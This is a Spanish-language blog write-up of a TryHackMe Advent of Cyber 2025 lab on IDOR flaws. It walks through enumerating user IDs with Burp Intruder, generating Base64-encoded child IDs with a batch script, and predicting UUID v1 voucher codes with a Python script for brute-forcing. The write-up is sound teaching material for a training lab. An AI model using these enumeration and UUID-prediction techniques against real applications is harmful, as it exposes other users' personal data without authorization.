Day 5: Santa’s Little IDOR - Advent of Cyber 2025

xhetic

xhetic

@xhetic

TryHackMeAdventOfCyberIDOR
Day 5: Santa’s Little IDOR - Advent of Cyber 2025

📚 Esta publicación pertenece a las colecciones:

Day 5: Santa’s Little IDOR - Advent of Cyber 2025

Hoy nos enfrentamos a una de las vulnerabilidades web más comunes y peligrosas: IDOR (Insecure Direct Object Reference). A menudo, los desarrolladores asumen que si un usuario no ve un enlace a un recurso, no intentará acceder a él. Grave error.

En este reto, auditaremos una aplicación web que gestiona las listas de regalos y niños de Santa Claus, descubriendo cómo la falta de controles de acceso adecuados nos permite ver (y potencialmente modificar) información de otros usuarios.

Room: IDOR - Santa’s Little IDOR
Dificultad: Easy
Objetivo: Explotar vulnerabilidades IDOR para acceder a cuentas ajenas, decodificar identificadores ofuscados y predecir UUIDs.


🔍 ¿Qué es IDOR?

IDOR significa Insecure Direct Object Reference. Ocurre cuando una aplicación proporciona acceso directo a objetos (como archivos, registros de base de datos, etc.) basándose en un input proporcionado por el usuario (como un ID en la URL), sin verificar si el usuario está autorizado para acceder a ese objeto específico.

Existen dos tipos principales de escalada de privilegios relacionados con esto:

  • Escalada Vertical: Cuando un usuario accede a funcionalidades o datos de un rol superior (ej. un usuario estándar accediendo a funciones de administrador).
  • Escalada Horizontal: Cuando un usuario accede a datos de otros usuarios con su mismo nivel de permisos (ej. ver la factura de otro cliente).

El IDOR que veremos hoy es un caso clásico de Escalada Horizontal.

Con esta información, ya podemos responder a las dos primeras preguntas de la room:

  1. What does IDOR stand for?

Respuesta: Insecure Direct Object Reference

  1. What type of privilege escalation are most IDOR cases?

Respuesta: Horizontal


🎅 La Aplicación: Portal de Gestión de Regalos

Antes de empezar a romper cosas, echemos un vistazo a la aplicación. Se trata de un portal web donde los padres pueden iniciar sesión para gestionar las listas de deseos de sus hijos.

Las funcionalidades principales que encontramos son:

  1. Perfil del Padre: Un dashboard que carga la información del usuario logueado (nombre, dirección, email, etc.).
  2. Mis Niños (My Children): Una lista de los hijos asociados a la cuenta. Podemos hacer clic en un icono de "ojo" para ver los detalles específicos de cada niño.
  3. Canje de Cupones (Vouchers): Una sección donde se pueden introducir códigos promocionales para obtener regalos extra.

A simple vista todo parece normal, pero bajo el capó, la forma en que la aplicación recupera estos datos es... insegura.


🎯 Tarea 1: Encontrando al Padre de Familia Numerosa

Nuestra primera misión es encontrar el user_id de un padre que tiene 10 hijos.

Al navegar por la aplicación y analizar el tráfico con las herramientas de desarrollador o Burp Suite, observamos que al cargar nuestro perfil se realiza una petición a:

GET /api/parents/view_accountinfo?user_id=10 HTTP/1.1

El parámetro user_id=10 parece ser el id de nuestro usurio. Parece que es secuencial, ¿Qué pasa si lo cambiamos?

Automatización con Burp Intruder

Para no probar uno a uno, enviamos la petición al Intruder de Burp Suite.

  1. Payload Position: En el valor de user_id.
  2. Payload Type: Numbers (del 0 al 50).

Al analizar los resultados, observamos que la mayoría de respuestas tienen una longitud similar, excepto una. La petición con el payload 15 devuelve una respuesta de 1456 bytes, mucho mayor que el resto. Al inspeccionarla, confirmamos que corresponde al usuario que buscamos.

Burp Intruder Results
Click para ver imagen

Respuesta: 15


🕵️ Bonus Task 1: IDOR con Base64

Si profundizamos en la aplicación, si queremos ver los detalles de un niño pulsando en el botón del ojo, se genera una petición como esta:

GET /api/child/b64/Mg== HTTP/1.1

Mg== es simplemente el número 2 codificado en Base64. Esto es un intento de "seguridad por oscuridad", pero no detiene a nadie.

El objetivo de la siguiente pregunta es encontrar al niño nacido el 2019-04-17.

Generando Payloads

Para automatizar esto, necesitamos una lista de números codificados en Base64. He creado un pequeño script en batch para generar los payloads del 1 al 30:

@echo off
for /L %%i in (1,1,30) do (
    powershell -NoLogo -NoProfile -Command ^
    "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('%%i'))"
)

Guardamos la salida en payloads.txt y cargamos esta lista en Burp Intruder apuntando al endpoint /api/child/b64/§BASE64§.

Filtrando Resultados

Utilizando la función de búsqueda de Burp (o simplemente revisando las respuestas), buscamos la fecha 2019-04-17.

Encontramos la coincidencia en el payload MTk== (que corresponde al ID 19).

{"child_id":19,"first_name":"Willow","parent_id":15,"birthdate":"2019-04-17"}

🔮 Bonus Task 2: Predicción de UUID v1

El reto final es el más interesante. Necesitamos encontrar un código de cupón (voucher) válido para el 20 de noviembre de 2025. Nos dicen que fue generado exactamente en el minuto entre las 20:00 y las 24:00 UTC.

El formato de los vouchers es un UUID: 37f0010f-a489-11f0-ac99-026ccdf7d769.

Análisis del UUID

Usando herramientas como uuidtools decode, descubrimos que es un UUID versión 1. Los UUID v1 se generan basándose en:

  1. La dirección MAC del nodo (02:6c:cd:f7:d7:69).
  2. Una secuencia de reloj (11417).
  3. La marca de tiempo (timestamp).

UUID Decode

Como conocemos los valores estáticos (MAC y secuencia) y tenemos un rango de tiempo acotado, podemos generar todos los UUIDs posibles para ese intervalo y probar cuál es válido.

Script de Generación (Python)

He creado un script en Python que genera los UUIDs v1 para cada minuto del rango especificado:

import uuid
import datetime
 
def uuid1_from_datetime(dt):
    # UUID v1 timestamp = 100ns intervals desde 1582-10-15
    epoch_start = datetime.datetime(1582, 10, 15)
    intervals = int((dt - epoch_start).total_seconds() * 10_000_000)
 
    # Valores extraídos de un voucher de muestra
    clock_seq = 11417                 
    node = 0x026ccdf7d769             
 
    # Construcción manual de los campos del UUID
    time_low = intervals & 0xffffffff
    time_mid = (intervals >> 32) & 0xffff
    time_hi_version = (intervals >> 48) & 0x0fff
    time_hi_version |= (1 << 12)      # versión 1
 
    clock_seq_low = clock_seq & 0xff
    clock_seq_hi = (clock_seq >> 8) & 0x3f
    clock_seq_hi |= 0x80              # variante RFC 4122
 
    return uuid.UUID(fields=(
        time_low,
        time_mid,
        time_hi_version,
        clock_seq_hi,
        clock_seq_low,
        node
    ))
 
# Configuración del ataque
fecha = datetime.date(2025, 11, 20)
hora_inicio = 20
hora_fin = 24
 
for hour in range(hora_inicio, hora_fin):
    for minute in range(0, 60):
        # Asumimos que se generan en el segundo 00
        dt = datetime.datetime(fecha.year, fecha.month, fecha.day, hour, minute, 0)
        u = uuid1_from_datetime(dt)
        print(u)

Ataque Final

  1. Ejecutamos el script y guardamos los UUIDs.
  2. Usamos Burp Intruder contra /parents/vouchers/claim.
  3. Payload: {"code":"§UUID§"}.

Al lanzar el ataque, buscamos aquella petición que NO devuelva un 404 o "Voucher not found". Ese es el código que buscamos 😋

UUID Attack Result
Click para ver imagen

🏁 Conclusión

El día de hoy nos demuestra que la oscuridad no es seguridad. Codificar IDs en Base64 o usar formatos complejos como UUID v1 no protege los datos si el control de acceso subyacente no existe.

Como desarrolladores, siempre debemos validar: ¿Quién es el usuario? y ¿Tiene permiso para ver ESTE recurso?.

Mañana publicaré el writeup del Día 6, donde seguiremos destapando vulnerabilidades navideñas.

Si te perdiste la entrada de ayer sobre la IA en ciberseguridad, puedes leer el Día 4: Old sAInt Nick aquí. Y si quieres empezar desde el principio, tienes el Día 1: Shells Bells.

¡Nos vemos mañana! 🎄

~ Xhetic